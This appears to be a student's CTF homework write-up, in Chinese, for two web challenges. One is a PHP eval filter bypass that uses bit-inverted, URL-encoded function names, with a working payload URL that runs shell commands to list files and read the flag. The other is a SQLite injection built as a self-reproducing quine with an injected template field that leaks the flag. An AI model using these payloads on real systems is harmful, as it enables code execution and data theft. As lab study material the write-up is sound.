###### tags: `CTF`
# hw5
[TOC]
## id
- id : p870613
- student id: 309551042
- source: https://hackmd.io/g_pYqtR2Q_iYP6OyGgikeg
## (#°д°)
- idea
- 看到 preg_match('/[a-z0-9`]/i',$🐱) 就知道不能正常輸入了
- 後面有@eval($🐱) 可以執行東西 但是長度被限制32
- 談一下 `eval()`
- 裡面要給字串 所以變這樣

- 原本思路 `PHPFUCK`或許可行 但長度過不了
- 接下來GOOGLE "preg_match" 發現神奇方法 利用`~`取字元bit inverse 傳進去之後 再用回來 然後思考了一下 有些東西不是printable的啊
- 然後又思考許久 發現urlencode可已解決這問題 所以步驟是先 inverse再urlencode
- `system` inverse成 `%8C%86%8C%8B%9A%92` `ls /` 變成 `%93%8C%DF%D0`
- `https://php.splitline.tw/?(%23%C2%B0%D0%B4%C2%B0)=(~(%8C%86%8C%8B%9A%92))(~(%93%8C%DF%D0));` 就有`ls /` 發現有flag

- 之後'cat /fl*' 就可

## VISUAL BASIC 2077
- idea
- 感謝喵喵助教提供hint: quine
- quine的想法
說簡單一點 就是把自己的source code 印出來
sqlite的quine 就是包一堆`replace`
- 不知道哪裡講 就先講一下再網路上找的sql(為了幫助理解 所以加了換行)
```sql
' union SELECT
REPLACE(
REPLACE('" union SELECT
REPLACE(
REPLACE(
"$",CHAR(34),CHAR(39)
),
CHAR(36),"$"
), replace("","","") -- "',CHAR(34),CHAR(39)
),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),
CHAR(36),"$"), replace("","","") --'
),replace('','','')
```
- 從第2層的`REPLACE`開始講 單引號裡面是需要被替代的字元 然後把所以的雙引號換成單引號
```sql
REPLACE('" union SELECT
REPLACE(
REPLACE(
"$",CHAR(34),CHAR(39)
),
CHAR(36),"$"
), replace("","","") -- "',CHAR(34),CHAR(39)
)
```
- 第3層的`REPLACE`
- 第4層的`REPLACE` 出來是'$'
```sql
REPLACE(
"$",CHAR(34),CHAR(39)
)
```
- 所以第3曾就是 "$"$"$"
```sql
REPLACE(
'$',CHAR(36),"$"
)
```
- 最後第2曾的結果會變成 然後就會把雙引號換單引號了
```sql
REPLACE('
" union SELECT "$"$"$", replace("","","") -- "',CHAR(34),CHAR(39)
)
```
- 然後把他餵進去第1曾 char(36) 換成後面長長的東西
```sql
REPLACE('
' union SELECT '$'$'$', replace('','','') -- ''
,CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),
CHAR(36),"$"), replace("","","") --'
```
- 然後就把自己的source code用出來了
- 然後沒有flag = =

- 前面介紹完quine之後 可以進去但他不會噴flag因為這個 他前面設成false 我動不到

- 上面那個是因為他繞過了if 所以過了

- 所以要在quine加入{flag.flag}讓他噴
```sql
' union SELECT
REPLACE(
REPLACE('" union SELECT
REPLACE(
REPLACE(
"$",CHAR(34),CHAR(39)
),
CHAR(36),"$"
), replace("","","") -- "{flag.flag}',CHAR(34),CHAR(39)
),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),
CHAR(39)),CHAR(36),"$"), replace("","","") -- "{flag.flag}'
),replace('','','') -- '{flag.flag}
```
- 所以他會在過if之後噴flag
